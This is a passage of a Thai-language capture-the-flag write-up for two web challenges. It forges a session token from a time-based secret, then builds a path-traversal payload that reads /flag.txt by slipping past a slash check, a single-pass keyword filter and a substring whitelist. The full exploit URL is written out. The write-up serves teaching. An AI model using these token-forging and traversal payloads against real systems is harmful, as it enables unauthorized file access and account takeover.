และเราได้พบผู้ใช้ moo.deng ใน comment จึงสามารถสร้าง token ของ moo.deng ได้

<?php
// example code
function create_session_token($username, $timestamp){
    // Manipulate the date and timestamp components
    $date_component = date('Y-m-d', $timestamp); 
    $hour_component = date('H', $timestamp); // Hour component
    $minute_component = floor(date('i', $timestamp) / 10); // Segment minutes into blocks of 10

    // Combine all components into the secret key
    $secret_key = hash('sha256', $date_component . $hour_component . $minute_component);
    
    // Generate the session token using the more complex secret_key
    $session_token = hash_hmac('sha256', $username, $secret_key);

    return $session_token;
}

# 1. Found user moo.deng in a comment in HTML
$timestamp = 1727491872;
echo create_session_token("moo.deng", $timestamp);

# 2. Set cookie to get the flag
# 'session_token' = 480af37f4a7abcd8b565a46ff85d1b4709d6732eafa6d080634b7d4e7628d693
# 'session_timestamp' = 1727491872

?>

หลังจากนั้นก็เอา token ที่สร้างขึ้นมาไปใช้ในการเข้าสู่ระบบเพื่อไปเอา flag ได้ครับ

Exclude Me Not (100)

ในข้อนี้จะได้ code มาทั้งหมดสองไฟล์ เป็นไฟล์เว็บหลัก

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SDH Bank</title>
    <link rel="stylesheet" href="assets/style.css"> <!-- Linking the CSS file -->
</head>
<body>

<?php

    require_once('util.php');

    # Remove dangerous attack payloads
    $page = isset($_GET['page']) ? validate_page($_GET['page']) : 'home.php';
    $page_path = "pages/$page";

    # Only allow 3 web pages
    $allowed_pages = ['home.php', 'about_us.php', 'saving.php'];
    foreach ($allowed_pages as $allowed_page) {
        if (strpos($page_path, $allowed_page) !== false) {
            readfile($page_path);
        }
    }

?>
    <script src="assets/script.js"></script> <!-- Linking the JS file -->
    <!-- The Flag file is located in the path /flag.txt -->
    <!-- @author Siam Thanat Hack Co., Ltd. (STH) -->
</body>
</html>

และไฟล์ที่เก็บฟังก์ชั่น

<?php

function security_filter($input) {
    $decoded = '';
    $length = strlen($input);
    
    for ($i = 0; $i < $length; $i++) {
        // Check if we encounter a percent sign indicating an encoded character
        if ($input[$i] == '%' && $i + 2 < $length && ctype_xdigit($input[$i + 1]) && ctype_xdigit($input[$i + 2])) {
            // Decode the next two hexadecimal characters
            $hex = substr($input, $i + 1, 2);
            $char = chr(hexdec($hex));

            // Check for common SQL injection, XSS, and command injection patterns
            if (preg_match('/[\'";<>&|`$]/', $char)) {
                continue; // Skip potentially dangerous characters
            }

            $decoded .= $char;
            $i += 2; // Skip over the next two hex digits
        } elseif ($input[$i] == '+') {
            $decoded .= ' '; // Convert '+' to a space
        } elseif (!preg_match('/[\'";<>&|`$]/', $input[$i])) {
            // Append only if the character is not part of common attack vectors
            $decoded .= $input[$i];
        }
    }

    // Additional filtering for potential malicious patterns
    $decoded = preg_replace('/(select|insert|update|delete|drop|union|--|#|\.\.\/|<script|>|alert\(|onerror|onload)/i', '', $decoded);

    return $decoded;
}

function validate_page($page) {
    // Forward Slash (/) and Backslash (\) are NOT ALLOWED in $page
    if (strpos($page, '/') === false && strpos($page, '\\') === false) {
        // Moreover, remove dangerous characters and string patterns
        $secure_page = security_filter($page);
        return $secure_page;    
    }
    // $page is not secure, return default home.php page
    return 'home.php';
    
}
// @author Siam Thanat Hack Co., Ltd. (STH)
?>

ดูจากการทำงานของเว็บจะเห็นได้ว่ามีการส่ง param ?page=home.php ในหน้า home และถ้าดูจาก code จะเห็นได้ว่าเว็บจะทำการอ่านไฟล์ใดๆก็ตามที่อยู่ใน $page_path

ดังนั้นถ้าเราสามารถกำหนดค่า $page_path ให้ชี้ไปหา flag.txt ได้ ก็จะสามารถอ่านไฟล์ได้ เราเรียกช่องโหว่นี้ว่า path traversal ครับ สำหรับท่านที่สนใจศึกษาเพิ่มเติมสามารถอ่านได้ที่นี่ครับ https://portswigger.net/web-security/file-path-traversal

# Remove dangerous attack payloads
    $page = isset($_GET['page']) ? validate_page($_GET['page']) : 'home.php';
    $page_path = "pages/$page";

    # Only allow 3 web pages
    $allowed_pages = ['home.php', 'about_us.php', 'saving.php'];
    foreach ($allowed_pages as $allowed_page) {
        if (strpos($page_path, $allowed_page) !== false) {
            readfile($page_path); # <-- อ่านไฟล์จากตรงนี้
        }
    }

ก่อนที่ param ของเราจะถูกนำไปอ่านใน readfile เราต้องผ่านถึง 3 filter ซึ่งก็คือ validate_page, security_filter และ allowed_pages

เรามาลองเขียน payload ที่โจมตีหากไม่มี filter กันดูครับ

../../../../../../../../../../../../flag.txt

การย้อนโฟลเดอร์กลับด้วยการใช้ ../ ทำให้เราสามารถอ่านไฟล์ในเครื่องได้ถ้าเรารู้ path ของไฟล์นั้นๆ เรามาดูกันครับว่าเราจะแปลง payload นี้ให้ผ่าน filter ที่มีอยู่ได้อย่างไร

filter แรก validate_page จะทำการเช็คว่ามี / อยู่ใน parameter ไหม

function validate_page($page) {
    // Forward Slash (/) and Backslash (\) are NOT ALLOWED in $page
    if (strpos($page, '/') === false && strpos($page, '\\') === false) {
        // Moreover, remove dangerous characters and string patterns

เราสามารถแก้ได้ด้วยการทำ url encode จาก / เป็น %2f ครับ (ตอนแข่งเราได้ encode ตัว . ด้วยครับ แต่ไม่ทำก็ได้)

%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fflag%2Etxt

ต่อมา filter security_filter จะทำการ url decode payload ของเรา (สังเกตุจากใน for loop) แล้วทำการลบค่าดังนี้ออกครับ

select insert update delete drop union -- # ../ <script> alert onerror onload

จะเห็นได้ว่ามีการเช็ค ../ ของเราแต่ไม่มีการเช็ค . เฉยๆหรือ / เฉยๆครับและมีการเช็คแค่รอบเดียวด้วย หมายความว่าถ้า payload ของเราเป็น .select./ ฟังก์ชั่นนี้จะลบ select ออกแล้วมันก็จะประกอบ param ใหม่ให้เป็น ../ อย่างที่เราต้องการ

ดังนั้นจะได้ payload ประมาณนี้ครับ

%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2Fflag%2Etxt

ต่อมา filter สุดท้าย allowed_pages จะทำการเช็คว่า home.php, about_us.php, saving.php อยู่ใน payload รึเปล่าซึ่งไม่จำเป็นต้องอยู่ด้านหลังสุด เราเลยสามารถเอามาเติมไว้ด้านหน้าได้ครับ

# Only allow 3 web pages
    $allowed_pages = ['home.php', 'about_us.php', 'saving.php'];
    foreach ($allowed_pages as $allowed_page) {
        if (strpos($page_path, $allowed_page) !== false) { # <-- เช็คแค่ว่าอยู่ใน String
            readfile($page_path); 
        }
    }

สุดท้ายแล้วจะได้ payload ที่ทำการอ่านไฟล์ flag.txt

https://thctt24.open.web2.p7z.pw/?page=home%2Ephp%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2F%2Eselect%2E%2Fflag%2Etxt


Conclusion

สำหรับท่านที่อ่านมาถึงตรงนี้ต้องขอขอบคุณมากๆเลยนะครับ หวังว่าทุกคนจะได้แนวคิดหรือมุมมองในการแข่ง CTF กลับไปไม่มากก็น้อย ในอนาคตพวกเราตั้งใจที่จะฝึกฝนตัวเองในด้านเรื่องของ Cyber Security อยู่เสมอและหวังว่าจะได้นำประสบการณ์การแข่งขันต่างๆมาลงให้ทุกๆท่านอ่านอีกในอนาคต นอกจากนี้พวกเรายังมีการทำ Research ต่างๆและเขียนบทความให้ความเกี่ยวกับด้านความปลอดภัยทางไซเบอร์ด้วย สำหรับท่านที่สนใจสามารถกดติดตาม Medium ของพวกเราหรือ Facebook page ได้เลยครับ